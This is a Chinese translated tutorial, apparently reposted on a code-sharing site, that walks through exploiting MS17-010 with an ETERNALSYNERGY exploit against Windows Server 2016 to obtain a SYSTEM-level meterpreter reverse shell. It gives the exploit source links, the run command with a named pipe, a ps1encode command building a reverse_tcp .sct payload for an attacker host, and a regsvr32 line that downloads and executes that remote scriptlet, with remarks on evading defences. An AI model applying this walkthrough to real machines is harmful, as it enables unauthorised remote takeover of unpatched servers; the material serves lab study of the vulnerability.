windows2016上如何通過攻擊ETERNALBLUE獲得meterpreter反彈


 windows2016上如何通過攻擊ETERNALBLUE獲得meterpreter反彈

  譯:by  backlion

0x00前言

  當微軟發布MS17-010漏洞的補丁時,該漏洞影響的范圍是從Windows 7到Windows Server 2016系統版本。然而,The ShadowBrokers發布的永恆之藍攻擊是非常不穩定的,可能影響到Windows Server 2012和以后的操作系統版本,導致99%的機器受到永恆之藍的攻擊。為了理解並能更好地應用,NSA已發布的漏洞通過了許多安全研究人員的研究。正因為如此,幾天前,已經發布了永恆之石SYNERGY的bug漏洞(由Sleepya開發的)。並改進了漏洞利用,使其在攻擊Windows Server 2012和2016系統時更加穩定。但事實是,如果你想使用這個漏洞,需要進一步弄清楚是,當我們影響目標機器時,是否了解到真正的工作原理,以及需要修改一些代碼,以獲得我們所期望的目標是必然的。

   這就是為什么在分析漏洞之后,我再次來發布另一個如何攻擊windows2016的文章。通一步一步的步驟,作者將解釋所有漏洞利用的問題,使得Sleepya發布的永恆之藍漏洞能夠正常的利用,以及如何修改其特征,以便在目標機器上獲得一個meterpreter反彈shell.

0x01  漏洞利用

實驗搭建環境:

要搭建的實驗環境,我們需要配置以下主機:

目標主機-----Windows Server 2016(將使用Windows Server 2016 64位的機器作為目標主機)

 

 

安裝全新的操作系統后,無需對其進行任何更改。 知道目標IP地址就足夠了,在進行攻擊的時候主機是需要運行的。

攻擊機-----GNU / Linux

可以使用任何其他linux操作系統這里筆者建議采用kali,只要在其中安裝以下工具:

 

總結實驗環境搭建所需的配置:

  • Windows Server 2016 x64 – IP: 10.0.2.13 目標主機
  • GNU/Linux Debian x64 – IP: 10.0.2.6 攻擊主機

 

獲得exploit:

漏洞利用已經在exploit-db上發布,可以從中下載,其下載地址為:

 https://www.exploit-db.com/exploits/42315/

我們可以看到,該exp用Python編寫的。 因此,我們將在攻擊主機上以.py為擴展名保存。 然后運行該py,會在命令中會出現報錯錯誤提示:

 

 

以上錯誤提示可以看到是缺少mysmb模塊。

解決依賴關系:

在代碼行3提示需要導入"mysmb"模塊,但該模塊不在python公共庫中。我們可以使用pip來安裝它,這個模塊是由Sleepya開發的,我們必須從他的github中下載,其下載地址為:

 https://github.com/worawit/MS17-010/blob/master/mysmb.py

我們將在其與exploit.py同一個文件夾中保存名為"mysmb.py"的腳本。請記住,在Python中,運行exploit.py另外需要創建一個名為"__INIT__.py"的文件,可以在文件夾中查看到。

通過這樣,exploit的腳本會找到必要的導入模塊,將不會再有錯誤提示。

 

檢查exploit利用是否生效:

如果我們執行它,一旦漏洞利用成功,就會在目標主機上的C:磁盤上創建一個名為"pwned.txt"的文件。那么就可以驗證漏洞利用是否正常使用,而無需進行太多的修改。

盡管這個簡單的測試不需要修改漏洞任何本身,但我們必須設置一些參數,我們將在下文可以看到。

身份認證:

永恆之石SYNERGY漏洞利用前提需要經過身份驗證的攻擊,如果發動攻擊,則可以通過來賓賬號身份驗證,否則,我們必須從目標機器中的任何其他帳戶獲取用戶名和密碼。

重要強調的是帳戶的權限並不重要,即使是Guest帳戶,攻擊后我們獲得的權限依然是SYSTEM。

要定義這些信息,我們必須使用文本編輯器打開exploit.py並跳到第26和27行進行修改:

 

 

以上圖中可以設置用於身份驗證的用戶名和密碼

參數設置:

這個exploit需要定義兩個參數:目標IP地址和管道名稱。 SMB協議定義了三種類型的共享:

  file:文件(或磁盤)共享,表示目錄樹及其包含的文件

  print: 打印共享,可以訪問服務器上的打印資源

  pipe:使用FIFO模型的進程之間通信,其中稱為管道連接,同時系統保持運行,盡管該進程不再活動。

與永恆之藍不同,ETERNALROMANCE和ETERNALSYNERGY的漏洞是利用了訪問命名管道的一個bug,這就是為什么我們需要定義哪一個是用於被攻擊主機。就個人而言,可使用"spoolss"或另一個是"瀏覽器"來訪問管道。也可以使用metasploit的掃描模塊:auxiliary/scanner/smb/pipe_auditor來查找目標主機內可訪問的管道。

執行無shellcode:

現在,我們繼續用下面的命令執行漏洞:

python exploit.py <target_ip> spoolss

 

正如我們之前所說的,如果執行成功,我們將看到一個新的文件名"PWNED. txt"已創建到目標主機機的C:磁盤上。

 

已成功執行了一大半。下一步,我們將繼續分析如何一點點修改而成功能到meterpreter的反彈shell.

修改shellcode:

有很多方法可以利用exploit執行得到meterpreter 反彈shell或其他的方法,而不是僅僅將在目標主機中寫入文本文件中。

第一步是生成我們將要使用的shellcode,為此作者將使用一種個人喜歡的方法,並且在躲避安全防御方面有很多的好處。

總結一下,shellcode將生成為一個.SCT文件,該漏洞利用將下載並在目標主機中執行,從而使我們成為我們需要的meterpreter’反彈shell會話。

使用PS1ENCODE創建.SCT文件:

Ps1encode是一個很有用的工具,以允許我們用PowerShell的多種格式生成和編碼metasploit的有效載荷。

我們可以從github中下載:

 https://github.com/CroweCybersecurity/ps1encode.

想生成所需的有效載荷,我們將使用以下參數運行該工具:

ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> -- LPORT=4444 -t sct

我們正在生成的.SCT文件必須存儲在攻擊者的主機或任何其他主機中的Web服務器中。這就是為什么在執行上一個命令時,該工具會詢問我們.sct文件的完整URL是什么。如果我們要使用攻擊主機,我們只需要:http:// <ATTACKER_IP>。

 

注意:可以將生產的.sct文件移動到/var/www/html/下,並啟動web服務,使其web能訪問

允許shellcode.sct下載:

最后一步在Ps1Encode的文件夾中生成了一個index.sct文件,為了讓這個被漏洞利用的sct文件下載到目標主機中,我們必須將其移動到Web服務器文件夾下並設置所需的權限。

 

編輯exploit.py:

如果我們用文本編輯器打開exploit.py,我們移動到463行及以上,將找到以下內容:

 

在這里,我們可以看到通過exploit攻擊並在目標主機上創建文件了一個pwned.txt文件,但更有趣的是在下面的一行中,可以在其中找到一個被注釋的service_exec()函數。可以查看到,該函數以copy命令為例,創建一個pwned.txt副本文件。如果我們不刪除該行之前的#符號,則不會執行該命令。如果刪除#符號,再次運行這個exploit,我們將在目錄主機中看到c:磁盤中有兩個文本文件:pwned.txt和pwned_exec.txt。

可以清楚地看到,我們可以修改任何執行我們想要的任何其他的命令。

執行shellcode:

現在我們知道必須修改這個exploit來改變它的最終執行結果,將編輯調用函數service_exec()的包含命令將其下載到目標主機並執行meterprete的反彈shell.

regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll

這個exploit利用將如下圖所示:

 

獲取Meterpreter會話:

最后,在執行exploit.py執行之前,我們必須配置metasploit的exploit/multi/handle來接收Meterpreter會話。

 

我們通過expliot來執行對修改exploit.py的最后修改保存的腳本。

 

幾秒鍾后,我們將在目標計算機上獲取到Meterpreter反彈shell會話,它具有SYSTEM權限。

 

 

0x02 總結

最后,我們在Windows Server 2016 上獲得了具有管理員權限的Meterpreter shell。 幾周前,作者已在exploit-db社區上的發表該漏洞利用文章,但是只寫了關於Windows 7和Windows Server 2008 R2以及Windows Server 2012 R2漏洞利用。 這次將發表關於windows2016的漏洞利用。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM